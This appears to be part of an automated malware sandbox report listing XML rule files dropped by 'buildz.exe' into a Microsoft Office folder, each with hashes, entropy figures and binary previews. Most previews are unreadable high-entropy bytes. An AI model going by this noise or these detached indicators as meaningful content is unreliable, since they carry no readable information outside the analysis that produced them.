Preview:	<?xml..@....f..MI..F.T$f..v1.. ...L..c.j..........r -....Q...i<=-.%!..._6?.J..{. 8B]@S,.,..MN.S..A..N......./-;..lQ...9....T.}...:....U{D..\|^.BI...(\|.U.rbX.......n.jfITA.y..V.h.....)...BT....8?...... ....y..3.......N....I.....`.NT.. ......A..W.G.6.......H....t.;.C)....;.V(l.\.nk\|h.G.S.a..d.Te....7}.d.MlH..H.&4Dq.UHK..4.,5....O... ..!.....p.I..m/(..X4..j.;.$....+..`-...H+k.s.ef5.......JOi..3.{.k.v..\ST2e.....=@S...U.1.@.%.#.....M...E.../yR..T....Y.c...G.w..WO...P9.uS;@.u..ys.......3C..>..+...!.,.6..24...F...;..d..i...u;Wu\.\....\|...b.L.=..y....f..nF.].!Ao.c....nr.!L.....{.."=.z%..GR...}.h...ss..^..r.(.p.T.[.!......a."..l.....\|a.(glv..^^...3N.....+.:.e.U..e..5...."C.7&..k.J....t.b....#..R...H.3.R..H..Q.....W.y....%...<X.26.D...bl,?.....".z..4......G...'.X.......J.m.4n..0{.......H-.X....(....V..f.K...=....7\|Mb.X.."..........b..<n..P..f..2......5..Ip............M..\|_!....J.Z{.&.E..(5...se...1...y^:[......\|%.'6K....Fxs.5.).7....z.Tj..`..@1..a

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700500v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.897621479789269
Encrypted:	false
SSDEEP:	48:P3plEPHBL6tmLm7YwtlDI0lfFE6fk26E9q+ZaD:P3p+PHBLXmcE5I0vE6fkH+Zy
MD5:	458609CF6D21A8387F6B3FDF3031CBC9
SHA1:	0CE94DD722472B76ADAB81E488DF47C20342B792
SHA-256:	3AF52DD2D00225FF599DD37404E642955788D32991EBB125C36D7950444023B5
SHA-512:	B12EF5DCA87E60F552C0AB4A82C9A0495E68E4961A2D293615C38782411C14A1EA0871D2B4D571668473DFAC6CC8CA750EDC56929D396416F76C9C172F01CC67
Malicious:	false
Reputation:	unknown
Preview:	<?xmlU.g=TS[.>..........)...%l..3..A.xN-;........l.q%....C...v8.y.?&.8.h..V.(.r&)...nk...8T?U.K\|G.1...8....{e=..a.........T...uW.....h:.V.....\E...M8..../.^o...#.K.KQ 5.....^.....^...*..&.i.....\J.....b..U@O....K.e...s.04.I.....<.d..L.$L..tbl.vIOAo...\|..q.........z,`.2I?. $o.d..m=i8...2.`..c....4..&a.R.......d.B..Cy\|h...$U.s..?...?q....B9..#2.M..Y.1....G><9.<....0?X...y......p......&TK.CW.Q.T....;..M!..+...&Jb.-....O..5...yt.b;2..R1.$e.Y..WI..e.E~.A....&.v....p<...z+J..Ez....s.......a.H...... .].27.2C.2.E...{..kD..a.;}....{.).#/..WTB...hg.W0u..q..B.!.[,9...X..!..k.c."....&..0..e...aB..~#.$^.%z...b.-.er......[..).....I....2.9..#.u. \|...e.6m#...[.l.......>......A......./.g..$..ONrG.ke..Bb..k[dz..I..iQN..........#.(\2?.\...w.......-..k .....O9...'......bMr.[&.Y..v.w6.y..D3._\|...........G.qz._[....4.Hh../!u...w...h..f.3..a[..RA."..k[..'9.........`.%fSt.Z....4&+.. G....u.:..a...k7u.G.z.H.r.[...^....Zm...3..s.rgl..}L....\|.t........+.h..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700501v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.9021550767425515
Encrypted:	false
SSDEEP:	24:ag24Mll5WNaIDvXer9nmenIBhFfI58nfwWvlgmJDd7N/aoOeEXXGGlDksXizlGHR:Y4ElvIDvUxgh9noClndyFDkzzaZD
MD5:	6B5AF30BEBAE5C8C15FE6A72AA699677
SHA1:	18D2B9D9C3117F7EECA6091E826669872D9DA48B
SHA-256:	7A79B684D7B16CA4CE10C6493D88C0928997934F9ECA460305F3EE10018958E5
SHA-512:	593875A515DA613D3A46E27283C14FFBD1A40A37E4F730DB3DCAA3B06177847B2DBF82AB0F98B2D8F0A38F4AF627B2FAAB3C790BD0F91831F712BEB0F527C868
Malicious:	false
Reputation:	unknown
Preview:	<?xml.E..`.=w>2.........t..b.G.^5"...-Y..X...&.r....,.....l....E. hn.cS.9.hJ.D.....:....?..........3.V...u...e......:....-Bc...=.N.......J./..+"H......... ./eL...gG....)Q1.w.aP.o.....)..?;...aA.......&.+...E...V.?aLC=..)K..JC..n......g..V..8...4.r...0......d.o['m.......#...b.8r.;.......r.. .O..K.CJ.Z..j...).t.u.....y.2.Y.4A..I..w..B;`x....$V.......X.]b3D..;.W%.. ..Q.p..0X........=....v..\|c_.HA..Sv.n..m. aFi...[..8{.. ....N.4..!l.b.'..y.;.....YL..$....h.8.<..(S..rI..7.&vK...K+:.....Q..O.I.....2F.Z..X.9...,k......%#8....UTw.....8.....2...=.....3...b.L...~.kTm~.......z1R.O....@.m.....p..Z....4.-9..........}#..).0".....c.M.a~........z........5.....Y.."+.......l..KM...'...v.l..^.A.{.!.5..M4..d0b.Y._..uGm...UWG...........Pf:.\..!jk..u.v).aE..K..9.l.e..mk..6.......a.m.QQ....,=...........v...c..).:..d...-.. X.K.....%...`\|...b..BCg.X..\.8....;.P..V..i...k...}x.w5.;..>i7`....a.....O.?!...C..i..l.}..WT..;.B........Bl..y..`.'..~i..8......b

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700550v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.860984321378493
Encrypted:	false
SSDEEP:	24:dlc8Cdj8gQgc1uZ8Y8o6/EjJTU56uc6jivgXxY1xP0k2sA8shNx3iDflDx3NUARX:Pc8KohuWG6/tTu5H2sATSpxdA2zsqD
MD5:	D9E4BB733B5223FE9C80248D1E6EDD33
SHA1:	89EE4DAEA277AE85EA26C0DE5224AFD96BACC401
SHA-256:	EBE59C602E4B8151DDC63521C93ABF609F6C390A7CAC29E21E7C1FAC772C15C7
SHA-512:	1F0C543009C41572F0EAE0630C957B1A9135FBCED0A6E970FBCDFF634FEA0CE026A275BBB623974D05C0195FF4DBDCCF60BDE38D737132608602747FC4E9E15A
Malicious:	false
Reputation:	unknown
Preview:	<?xmlW7...3y....UZ.../.....}.X(K.O...\|..M1dl...&......d&;+jp....Zo;jw..m.s _J..cm(........F..".m.>.3bj6C....".n>MdV.k....58.....o..Y,6.Us.-...h..(.....l.DI[...+..{..0.H1..O..(..vm .8...O.d.'.....;.._"...d/Xr............G.'.F/I=.Z..AL ?..=I.#.YEX..L)..O2...........f...lYL...}ZB[,...W..........J..Og..bM7.M.o6.XD.x..KZ.-.......xf.(.....`.o.WA.+U.E.=F..+..C..Z!:L.y/D..0.G...v..g..(.,..............L.A.\.).M4$.of.b\|..B....D.@Y...Q! .f..{Q..5. .p....H.......?......K..dn[......en....'...JQ1S....EH.gtLz....H..pz...u.k=).=.......j+...Y8...<.pL....@5..y.....D{.Tx....?.}...L.<.9...`. ..}.5...:..;3'.^.G..s.....B.k...sm,P.8]/..Q4..z......?[..A.1Wz.i.._bR.$x....L........r07.-..sM....(.8LA.d.....B8...XX..+i..q.n...V.....z.g....?V2.E.U.c...$i.F.E.7...3.._..G.!=.q1s.\'+.....A...51..:...Tbc.(.R3..@......d..;....;.G.........+A...\|.....i}..I.[Hlr...~x}O..+}D.mRQA...\..F....5....k..[!.}.p....;...Dz.?.z.d.:<_...R.\..1Kl5n.o%.>t.r.!.l..DjGf.]C=.p.Z.m..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700551v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.8981656864688325
Encrypted:	false
SSDEEP:	24:9o3diHipxrAiuOECG/RGV9L8WUhjczWF5BKptrJCY8bZMBgkXk3Fl+wFPmT8oCGJ:9W7eiuOELRGiy6vktFCY8Otkz80G2wLD
MD5:	895B3B1A1BB9E9E58C07600C22CB22F3
SHA1:	899476AC24521570102256F08401E83408CC39A0
SHA-256:	F8447CF7B3FD2C67FF0C75DB8BCE2AEA181C2E8A90DB4191CD9A2B55CCADB891
SHA-512:	5D88318D619C2F0573C5EBF30382D60753CF3B81A8D2125A2ECF51F46DEC604A6C0D4198837AFC2C41F7687D37AF9642659E926150D320F44A969A4A0B095AB7
Malicious:	false
Reputation:	unknown
Preview:	<?xml....H.0Suyg.)<I..6T.....R..]C."d.W..`)..p(.-1......}$....bx2.Y<.:?....k....n..i..q.;,q..\|g)l.r..g.Awl.FB\|..^zB.s....z&....z.."..SJZ....U.i..a..mb..'.D(.....N..x......I!.'......Gr..Is3...wU..m....4F.!.._ ..c=..T.&<.....rEw...t.......l.z.........$.%.[.#.p(...l..+[.).}w.f?O....NxQ...L..(.....\..7..."..bUC..U=..h...Q...2..q.a.a)..6.i'{....k...ng..2.X..0.W..6.........X.........Vwf=..U.?K%.D.%..OG...UGS..........O..k...P.>./.W0..dc.v........C....{..i.!4..[#`3...>..5..di...^.JF.h,..y........N..X9.......`....!..xIu0..j...,/T...c..{.!E.h@p......o...C+...+."...P..x'..Ww........-..7...Wa...+.K. rf9...X.....X....:.I0`Q.4O.....l..b..1q..,.....]Yo.".x.I...cv.......b.*.Gn.\|}1....R........PG.~-4W.4.Z.NsY.]PTw.K..4.HjI....\|...N[y..E..W1$...j.....Z=..F..^...!"...0..M.8.U....?P......G..#P&..@..s.^.~..I2t.....Z.....+.e......g.r.../.....mp."-[.G.,M.r8D......p.bp...Zvdr..u..&c.~..ChO.A..5V.#o-..AX..S.X....]..%...Gx.....j..'..B.4ts...@a.....'"..fI@

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700600v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.873749262792665
Encrypted:	false
SSDEEP:	48:FRXFuMjSt1AVDka1ne6wxCRXw7f14l4c8HInID:XFu3UV9xXRAJt
MD5:	1E9DD14B0D4F87FBCED6DE0BD2D0EF88
SHA1:	FFDCE40F85AACF572AAB23E38AF1D03EE5F5B280
SHA-256:	2E061C1CFCE5F8C240DFE79C2FA03A7C44AB57AC0F65D3115FC81D7AB0646335
SHA-512:	B86177F03FC8F7D66157A2AE09F31B8C1D4DC60ABCE2ED21ACFD6CE2D9B97FB240D4F00B5AAA32FAA12E1A37A7F307C5BF25C39CD8F5DE136412E6D8E7CF42B8
Malicious:	false
Reputation:	unknown
Preview:	<?xml...V..&....ly.\C.E...r.w{.D2^..E1s...!\|..P....K.9!0.0.....n...u.XP`v.{.b.......M..6i. 2p.......U...........u...xJRZ_Y...G...$.T......./.....Ly............../......OU<..Lw.k..m.5?DC...=......Y[.0&.9..xk3Zs(....j[..$...u`../..f.5fG.-..E..P.VE.p..kh.^..;.sY\..x.Dd...u......I.......f.....k...#'...).4..x.~.....F.&..3. ..P.D.......W.....L.OK..->.G.M.........E...w.......:...T..=.,..........Qh..,g.TnwR.v.Hn......DYL,.:.......,.G.......u._...&d.....7{...Q..W..AJ...v.w.....L.g....,.m..#.f5N.4q..f...(8...........Az.....,.Ns.....F...z.O.5..0.a...w...]...B1,.M.%3...T....p....`.~..u?.......^.tfh....p...Q....T...lq.=U.........l>?.#o.....4v..D&.3GJL.R..,._mZS.kX.s....r..".w......O.*.GDJ..y..AHo./.e.G_.^:@...$.F..r+...).0..$.R.x..$..'.b;.Z.BGUB$M$.(.T.C]?7.o....%w.C.+.....j..vh...1<....U.V......).+2.4.$b..IT..\|"F..Ps...Y...SO@.2.`.8.7.r..\|.). ...7..-X.o.qz......$...........A....\...T...........j..W._]h.=. Y(..whJn.".....5(..g.n.xK...EQ.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700601v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.8813149912628075
Encrypted:	false
SSDEEP:	48:LgTCb/ApG7vejGn2/Z8Xtdqr2JNoin11wD:keb/Aw7mjGnm69dqrmX1q
MD5:	7683013C432BF40588065D3D58E1C12C
SHA1:	8DE1073B52C7A425EB8D8BC78A25CD1F58DA9303
SHA-256:	16DB596EF8281DD92DCCC7EFB18FA4A73497549AB8BF88BDCA121EFF08A0A9EB
SHA-512:	748F2F9D7955647A830CB82B4FB6B6DFF3FAE6D24E0E1BBA7C2494AA93D3B2B7EDAB548C2FABBB988C2EBE4E513E244C760691CD119E50DB6C2DE4E101896E78
Malicious:	false
Reputation:	unknown
Preview:	<?xml..bO...M...G.0jq......sYX..V."...................9....p....R\|.k....n........m...;.5......\.$O.G.4]....>~.I......Iy....s.V.W,"({MQ.x..a...M.m.E......@..6q.....#.\|....vx...O+/l... .cBtaH.............z.........-...?..y{.... _.w3j.......^...f....{.Nu+.0...r...m.W....v..o\|..U...o...P....\0.0j.....A`o..i..H2Li....y'...9.nN.8o.RHL.p......=.b+....=.\...M}.%T..F..3.M...[.d.~...h\...)k.(S."...@$.....b....+.Jo......h.[].px8v......a.4....t+.T.d..U.N8Q......j.jK.r..;.H._..x.h.p5o.`Js....{. ..]u......../%}",........ ..FV..".Q..(-{..s......_.=Nj.1...3.]GI..k.i.I.O> ...EQ(............/.(.....:.....hZy.U......N..z...m.......E.p+.H...je.[.<\V.2@.e.h.o.yc.......Nj....3...c..ey............(?W...zF(....H.B...x..?=F..<.Z....Y..%..C.....A.\|.4.wW{..0.D..:...C..."....fg....._..A .9.......T... .Jlc....s..3.bT.[@U....g..u.~...Y.\|0..w.%..`sR.............w...6M...K.".....!.J..q0C.....%R..Z.C..I......H]...O.........A..Np9...?..........0.....Aq .cj....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700650v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.8913057165457445
Encrypted:	false
SSDEEP:	48:dWCYBNRI7n2srXzjFyBMrMQC5bSG9QEyI4QPkD:QhBoDZjFsTyETc
MD5:	CB0EF840F3DC91593193D6CE2D3EEE1B
SHA1:	84B2864059332FD093121959C58C75DDF60B7365
SHA-256:	BD09CDAD729976CCDC71EDE171312ED91295F6973452CDC42FFCA4EFE4244B1A
SHA-512:	52BB57E5805630EE9317E0594C7492E898498FB11B85AA1EB397D098A6D718CA5316DB20F34B0EB1FC164C1963909094B0BE7B5FB93C2B32608677AC7298A401
Malicious:	false
Reputation:	unknown
Preview:	<?xmlK..9`.w..:.1...!.W.....].3DD.....O'ATbm...V..$.Y.U.v.VOI....@d_$..J...Dqb.p..i.D.g...x...d.."=..\| fW.w".;........i.rj...U.N,...n.K.OV.5..6.j<..&.....\.......Z..ff...G.+.E..NH."...>q.~..._.h[..d...._..F.....j<.....?91.\|pH.[......CI.t..b........`.a`......T 2a..=...ojES..%..%sc.q...F.....V...{...t....+8....P>Y.R.x..[.%.\|......UKK\.K....u)...u.Z...3....;....<......u?......U...\|...V..N....;.4....mg"=....`.......3.A....<.ah...swZ(.`h..!)b.3..s.p .....\|H.Ik.(.<.-.>..6....mx....}.N.g%.. t"...V[^.5.)...<..6i>..#..S9Y.VZ..n.._;..".p.I..._.c..U4p;/..\.o.......p!.5...b!.$.K.pO.....A...p.f.....3.;......T...F.ID..i]..[J.J.....r..?.=,K'.....*</p.(...=,Q~?P8......w....aD..Q...[...gFb.G...k.7..'r.1.H.4..y..c.......-4t...H.I.hzG..;{........D...Y..\.?.....gM..I......EBt>..l0J.7R........T. ....3.....k.1....Cv......l._..,x2....l...w`..x8/....D...........r...Hj......'.8w'P....'.,$.R...(F.G.b.\..`U..E..i@Nz..D;.d......?nc..n.#.1.......DKi..p....E...!

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700651v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.870033377419822
Encrypted:	false
SSDEEP:	48:5KVgkQilEY1/HYF8tD4qYyZe19fxh5NNvEsD:5KYilZ11t0r19fDjJt
MD5:	34FF70B54CAEA1ED10F8F06B70DEDE47
SHA1:	E52F435A7FFEF3065E5964921C6222CE7D0D70B2
SHA-256:	E67D8041F88FA15215E03DE5D4E099A8A7133C5B4AE4D5BFA602204FD56B0D2E
SHA-512:	79A66963B0F430DCCCB912F481490C6E0EB131A2AA56966C7976AE432C3943079EB8DAAD9265C4F1E1EF1A6FB03F8C0910957878B4C4D41D9FD62FF53B582009
Malicious:	false
Reputation:	unknown
Preview:	<?xml.b+b".M9<5..B.b...(qV...U....Q.:......."..........._...gF.n.bP.&.#.%.@...d,..l..2.S.c..).=\|..A.PU....)...jw..P.:/B...?z.A.k5....6....^..,./..A.Q..KF...M!......s..Oyc......R..T..K.H.......i19.>U.,....?.%j...0A.b:}.%....E...hsr...h\.$.I..M....4...P5..!"..%.:=Qg..I...^r..S....g1.......wVv...2..d.._+1O5g...8........?......A.Ew....?.h_..Ve@Q...n...yM.Z.Y.Q,........'..g........>.].e"..{......\.Lj...Uq3EG..U..T.6.K.Zm..7.Y..V....>...y+..:.A&F.......9\|..E..H.....g........F'...>...@G....F..fCA0.t...].?..^+kR;I..3O.h1..-..?....G]...J..(O...\|...d7v....&\O....h...w..b.....U.q..u.9..b......Wi+ .L.H..#zX.....J[\J.d3..h.i?%...Cg{.n*Kut...m..AX..o.C^~.b.-...5x.}...\../.v.C.fR..^'.pmM.ad.U(.;]gy...46....+..I......../8.<.`.i^...Q.O.D.RV.\..,b.....A..........rI..K5./.....A. ..T-.....<../3.<......yd..r.'J...{.nI....f<..%Bn..H.vq.....>.."..0.q8..i..V...7.`e9{J/.3"X.../.....h2.w}9/&..?oz.....b.....a..~.y.E..-==e....#..1..."..F...P'.....r..{-....WR.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700700v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.874367480095238
Encrypted:	false
SSDEEP:	48:JvLsoXC+E/3WMZOj5kwHo7Dxv8ns8mLGCEnJYwjdTTD:JvLsoU7O5kwHo7DamLGnGwR
MD5:	E5C840F270D765432A608767B2D00D3B
SHA1:	10B215BAB2F65D076B09BC7786D78DBD183E51FD
SHA-256:	B957D090A072FCC2C7F6C27BE21A7DA14423BF803ABE0FEFC96DEBFB3757E891
SHA-512:	D0953066B37C17796E96A09565935175AFA233E02F97975A70B20990969FAFB35C52315622A28DCBF000334A882108CFFD67D26D2668C22AA7781D0563DE817F
Malicious:	false
Reputation:	unknown
Preview:	<?xml{....<.=R..Bp.....bct]c.Ab.<f_..A...30..g..p>..<.....H..Jn.b:.jJ....+..n.TN.....$..N..I..oh..JL....`:D?'u....}[......5..+.T...".......8..e.4.{......nf.."s.4Pb.Zy.+....e...q.lp.(dG..?.i"..../<7.%...&.gJu./C..ioz.}c.by_....E.nvn..]..{;H+.NAD.(X...i.I77/.).Z..`.QC.\|.k...C.........=P.......t.r..G/.............]V.z.(.....q............C.>0.v.8,.U.....~Y...O..n.B.......\......\.r.X...w....,=..C..V..\..?f.t#..Bh...?.kO....P..$5<. A...=..@..v.......1./.W...$mx.9..JyycF&@.44..N.G9.%.km.Q...J....a..........H.(hG.O4.....IZ...........MH&-...j...y(J _Q..f....eor.Z.W....$.......].<...*.\|.R...X.{....w&...&i.P.V%..H..5..^.....w.z>..L.!..SH.}3..$..........@1Ev.J..@...dF.....6)<.iSZH..5.6.>bB.../sHF^/m..(.O..O\|.5.>......cn.I....'.q...(e.j~....H{.......Oi..0.<..../...0...,t...1'.....c%.....B..LR.7..HE..#...c.6'..._.o.......F..........p..H.h...> (.qq..Q.g.....c...;.....>.....gW.{K.p.p.Q..(.6/.A....l.l...qG...Q..q4..<.4....N9...4d.0fRB..M........`.(...J

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700701v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.8925158434336495
Encrypted:	false
SSDEEP:	48:gp/fA7ZXH3uFsPcn5g8bBbA47nlJ0f/vuspmg/5dD:57hH30Jq8bxA47nlJyu2nl
MD5:	07E4FE9CD2A915115AC0BA01F0EEF6F7
SHA1:	35B09772C80D207B27361ADCF9155FE6D82298C0
SHA-256:	65B7D91942240A46AFEDAA6A1BAB814E3EA42CC87474630B23089F70FFCEB670
SHA-512:	0824EC0A7F833897315AADD0200CF98B3DB13995EEB286BC84483747FB7426F624E6537E7ECC5F02A5C89634C51F161AD6D5D21CDAAB902CC997DA6CB1889F21
Malicious:	false
Reputation:	unknown
Preview:	<?xml;W6._Dh........8O.I...i^.t.o. a..#...Rw.4....^[_.P%W...~U...s..F..;P..J.Sk.M......hB.Uo.%....~.>3.'..c...@.....1...B....>.c?.<4o......e....m.q.$.Q..)...c.m..P.f#...L2K.6+.T. A..6'.o'-\.n..@.r\|....ub6.4k..gI.q......M.b.:o.8..{@4...h........#.@..VE.(./^:.o..ai.[O\|kD.....;.q.K<..}.g...R...<....Yw...~-.yH..)[x r@nL.{~O\|0.....?.C...=.....Y?..{.X....NO...<.j.......V-.4...a.&..!dV]Yry..._z...Gh.K...<.w..~...\.. .>...h=0..........A... .`..t`.Z .T. ._.:N.o....../F/.$...+......B...t.........J.b...B.tW.........ZZO)^.q,..........{....+....w.\|...Xl..p/]......J. ...\..B.K.EB.....F.tF..^.w?E..2.Y...9..._d0q....1..r..i..-....B......9I.Z...69.C....,...<.....{.^.GR.y..).........`....1wM.{Dc..g...&.&X...'.......T.9\............?;Cv...Y.......N..... x.....?."../...\|75-"....[..........`.....l...$....1J.5..\.9..@.v.+A\...g:....k.].\|..........&}..s.m.\.Yo.j.....c.~..........{.D..T.G.,.9q..S....?.j./.9.kkf@."........$o.......>z...E..G..PH.g...}..A6..^....j}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700750v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1710
Entropy (8bit):	7.892666073522051
Encrypted:	false
SSDEEP:	48:Ea1FuL7QAB59dhfz+B+oAbs1Owug0e0Y1D:EaiL7fHXapswugig
MD5:	E4FCFCD8834B418717AEEA809FCBC38E
SHA1:	C33802A37ADE8FA0D313B22F2AB12BAB78D9D452
SHA-256:	E6F5437275056E9EB758A2955A1D0FCA1E9CF56CCECCB73E162F4AE46509FC1C
SHA-512:	855F64B5C344F7F91C1AF5D4EFCC876AAC4E5CFB9BBB72A0ABBF40901D4DBB16611BC0588963C1BA3139E0FFA65CDEA73C8370B000B71EA2EF101E86DD6396FC
Malicious:	false
Reputation:	unknown
Preview:	<?xml...w.\|..5}1^Z..o]..f..t.@...Y...f+..tZhq...YY..k..9H.R..3'..<............bu..~s.~.ELQe....9.L(..)l.Q.R....-M>p.\.9....W.8.;....Z.#.].....i.Fs].A.>"N..@.eZ.F...m.A-.V ...:..}."F..P..4..S..O.)..IF\W..!!..D....gy............$....x..Os..4....>x...<i...Q&.Y...........Y$..qe.\.,p.9..w...k.;.?.`R!... .....q..;........DnH.8....1.....$X..g.....~...]Gw....n.fy...`.2.q./\|..e..Ln.G._.q.;..OC:...)...a_.Y..H.CI...l]...k.M. .....D...H...Ac.p.jy..6e..#p.V.8.` ........u....G.=[.)6.P5......!..)M/.3.....O..t..V._x.<p..Y......g.V..$.N.:..Tt.`D...lO...E.nR.=j...K!........f.R..z...r.....No.....\......R....X.%..r..T......F.r.R.7jzY..JlN.....;9f.9@..[.9.E.....B...R..$.@..a;..i.....&)X..X.(W....U.9.c.J1I..5Wt....c......C]....<...&.z.m...........U..`.5.,7u......$...hb9..T..v........s....Fz.~.l.Qw0.$ZDe5.E.D....\..p....j"h.....+....7.E..h9..u.#.....3..4.2!.O..g..w.!L.C...j......-...B._$^qI..;s.,-...^.......KVW..X..m.?..Z.Z.R&-J.8O.ZV..4.....=..4G.O/gWy...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700751v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1747
Entropy (8bit):	7.894586892663601
Encrypted:	false
SSDEEP:	48:O/4tiDV1aOHmRkYYD/71kyjk3R9CqPh7jjFD:O/zDdCkRD/71kyY337p/j9
MD5:	895BD0C3D2DABC0CD5F1206B40146281
SHA1:	6395D74746FC3F6379E51B41AB7B511D5F101A60
SHA-256:	3414EA29424AA0766F304E6342D2148A4F43F3C4BC39E793E617FEA5BDAF30C5
SHA-512:	586965B851D0000565265933965EB483D933FF129AA234808BA9E18B08225195B9A483037BE0820EEFC22522F23BCF5283028CBC5A4EDD9B189B444212A6493D
Malicious:	false
Reputation:	unknown
Preview:	<?xml.$..j@$b..y_l....ja`k.?..."<.....r..XA.Y#._b..m%5..X...M....f...}D8.......&........ASA.....$....P....,F .UkZ.......9.(......A.....].U..7#?$...%.............."..g%Z.ia...x$<_O].!.t..=..Q....X..[.u..t.d..'.E;s....@....TMp..k):.hNqW[..*jH.L+.:.E$$Z..^d\.....y.OF..w.V..j..]....T^..I%...Npg...y{o....F......]B'p6.j........,T......l..F...,9e..o....`.a(......L7...7.....j.K..u0y..t....k.../..l..w$..n..M.....#'".1....9i.D.M$.\|.........].7cd..8).2....:....xpY4b.F...v-f0A..+BLf..2..x....=.....s.S.........u.LFT..~O../.....3.ks.9\|.._..f...x....3.8<VI.....A.y.c......w/.`......'....Y..^....`O...r...5.....~.b..!.\...=<..[.....zC.I...oi..}Fb.A...lZ-.q.)[T..'.\|\|<20.9.....$#^K0.%.s..N..m^/...F.\&.e.l5...0..e..Qu:......E.....s..B...../@.$Uy...+.P..._.u...+...k..ujQ\|.u#..N.....a..;........4.......C....`.{(..S.zP.ZT.. .....r#.A..E.C.1..M.hA.jV...[....S....S.....[c"i.q..3.v....l%..,...........83.L...{......u...6{..;.......`..z..........e... P!.p..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700850v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.898466346188391
Encrypted:	false
SSDEEP:	48:duzcfhgTPHvYZsyaWeYX9x5G8PggPnuCq4WjM+kWS71UesP8XD:dtCTPgZm+4ku31MWeNHT
MD5:	1822C62B73E06AA0D626EBED0C42D81B
SHA1:	4A04ABCEE73EC4EC26126A526D4DD0DBA05C3C69
SHA-256:	51F01DDFA3F7757D2B06CE38C41CE12ADB93387EC07480D57E93CE33B4DA96CB
SHA-512:	714CA66FA3615CA0698B434B9B9C51DDD5EF1D95A97CB2349401F9DDC6BA3F530B70F57B9F870C45F5BD44FB1FED1569AD062E8171D449729252305FA28FD14F
Malicious:	false
Reputation:	unknown
Preview:	<?xml..S....>.V&U>...l.......u.......3.....p..6BeT..K...=.d....:...h.&..Z.Y/6`.#....WkH.J.q......950Dx........q..cE.G..4.&eZ {.h%....&..CnFT.-"...v1M..)...$jh.7.Y.}.......hH.R.;.E.....)....."N=T.....G~'.g4......r&..I..^....;K...O........!.0...@...x....8;.b.yt.k..1.n.QG...,.y-%....]V.6U.2..L.^k...OOK..wuW.3L......i...2..\|.uk.h..&^a9..9.I.i..l...tk5.at7..K...C9.+/q....D.^_....e.v.MD..X...Q..?l...R..d#...[9d.'....s.DDV"t......BNG.e........e..N.X...5/.to..]0.Y...AA.\..dU.R.XBsB..H....f2h.N...H...........'.q..Vx.a...L.u&...... ?P.!ne5k../\.[kQ..u..............p..uD$R.&[.)A.u".;[.`y:F.....4^..;.....r..A..H.W....0...kbb.. K$..S.....s5$.A.gS_N(3.].g...Bs.........-....Y.yx".2...._......Y:3...c.w. ......H.v~.t.."...7.;.U..1}7k.........cA.g..bJ.....7u......W`l..oOz;.....Lme..i...w..N.\|..Bs..)..O...3I..N.t......w5..s.*.1....A.\....3.DIg.....2.....#..S.X..gEw..yM3.q..5"........5....@4X#.....&......t.L.0...Y%......Kp.>0K..%..y..l...fH....k

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700851v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.902080214028211
Encrypted:	false
SSDEEP:	24:4qo0NewxJRyE4h0d+I30DPB5bW+lDvmaUBdjxVWLAo+tqPYYTgzgMIFOnW/bZfbD:JNQqk3OpPjxVWWtqagcnWxD
MD5:	C62386A45D3776A7606129032EDA5066
SHA1:	ADADFEA1CBB56C6258E7775A255BE8A67FB891E2
SHA-256:	510B2FEE2392B52D3D851FC7B23A81463A9E70E6EA4884FD3FEC18DF5CC08C24
SHA-512:	FFD3812DB8EB448C27EF796172038C46A7B1BBA7D187035A5A0D9C9A63CCB4D9AEAFF0B925E1BF9E4F63531B7C7F6099A885E5730203D20390B919AC37AC3680
Malicious:	false
Reputation:	unknown
